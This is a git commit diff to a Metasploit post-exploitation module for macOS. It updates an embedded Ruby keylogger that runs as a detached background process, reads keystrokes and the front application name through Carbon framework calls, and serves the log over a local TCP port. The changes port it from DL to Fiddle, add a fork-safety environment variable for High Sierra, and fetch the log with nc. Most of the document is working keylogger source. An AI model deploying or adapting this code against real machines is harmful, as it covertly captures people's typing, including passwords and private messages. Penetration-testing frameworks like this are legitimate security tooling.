Replacing Import with Fiddle, adding fork compatibility for High Sierra

GSoC/Meterpreter_Web_Console
Chris Long 2018-04-28 15:53:23 -07:00
parent b282db3c6a
commit c7caac627b
1 changed files with 15 additions and 50 deletions

View File

@ -62,9 +62,9 @@ class MetasploitModule < Msf::Post
:duration => datastore['DURATION'].to_i,
:port => self.port
}
cmd = ['ruby', '-e', ruby_code(opts)]
rpid = cmd_exec(cmd.shelljoin, nil, 10)
cmd = "OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES ruby -e #{ruby_code(opts).shellescape}"
rpid = cmd_exec(cmd, nil, 10)
if rpid =~ /^\d+/
print_status "Ruby process executing with pid #{rpid.to_i}"
@ -100,7 +100,9 @@ class MetasploitModule < Msf::Post
print_status "Sending USR1 signal to open TCP port..."
cmd_exec("kill -USR1 #{self.pid}")
print_status "Dumping logs..."
log = cmd_exec("telnet localhost #{self.port}")
# Telnet is not existent in High Sierra by default
log = cmd_exec("nc localhost #{self.port}")
print_status log
log_a = log.scan(/^\[.+?\] \[.+?\] .*$/)
log = log_a.join("\n")+"\n"
print_status "#{log_a.size} keystrokes captured"
@ -144,50 +146,14 @@ class MetasploitModule < Msf::Post
# Kick off a child process and let parent die
child_pid = fork do
require 'thread'
require 'dl'
require 'dl/import'
require 'fiddle'
require 'fiddle/import'
options = {
:duration => #{opts[:duration]},
:port => #{opts[:port]}
}
#### Patches to DL (for compatibility between 1.8->1.9)
Importer = if defined?(DL::Importer) then DL::Importer else DL::Importable end
def ruby_1_9_or_higher?
RUBY_VERSION.to_f >= 1.9
end
def malloc(size)
if ruby_1_9_or_higher?
DL::CPtr.malloc(size)
else
DL::malloc(size)
end
end
# the old Ruby Importer defaults methods to downcase every import
# This is annoying, so we'll patch with method_missing
if not ruby_1_9_or_higher?
module DL
module Importable
def method_missing(meth, *args, &block)
str = meth.to_s
lower = str[0,1].downcase + str[1..-1]
if self.respond_to? lower, true
self.send lower, *args
else
super
end
end
end
end
end
#### 1-way IPC ####
log = ''
@ -200,7 +166,7 @@ child_pid = fork do
server = TCPServer.new(options[:port])
client = server.accept
log_semaphore.synchronize do
client.puts(log+"\n\r")
client.puts(log+"\n")
log = ''
end
client.close
@ -217,7 +183,7 @@ child_pid = fork do
MAX_APP_NAME = 80
module Carbon
extend Importer
extend Fiddle::Importer
dlload '/System/Library/Frameworks/Carbon.framework/Carbon'
extern 'unsigned long CopyProcessName(const ProcessSerialNumber *, void *)'
extern 'void GetFrontProcess(ProcessSerialNumber *)'
@ -228,11 +194,11 @@ child_pid = fork do
extern 'int CFStringGetLength(void *)'
end
psn = malloc(16)
name = malloc(16)
name_cstr = malloc(MAX_APP_NAME)
keymap = malloc(16)
state = malloc(8)
psn = Fiddle::Pointer.malloc(16)
name = Fiddle::Pointer.malloc(16)
name_cstr = Fiddle::Pointer.malloc(MAX_APP_NAME)
keymap = Fiddle::Pointer.malloc(16)
state = Fiddle::Pointer.malloc(8)
#### Actual Keylogger code
@ -305,7 +271,7 @@ child_pid = fork do
if ascii != 0 or ctrlchar != ""
log_semaphore.synchronize do
if app_name != lastWindow
log = log << "[\#{Time.now.to_i}] [\#{app_name}]\\n"
log = log << "[\#{Time.now.to_i}] [\#{app_name}]\n"
lastWindow = app_name
end
if ctrlchar != ""
@ -330,4 +296,3 @@ Process.detach(child_pid)
EOS
end
end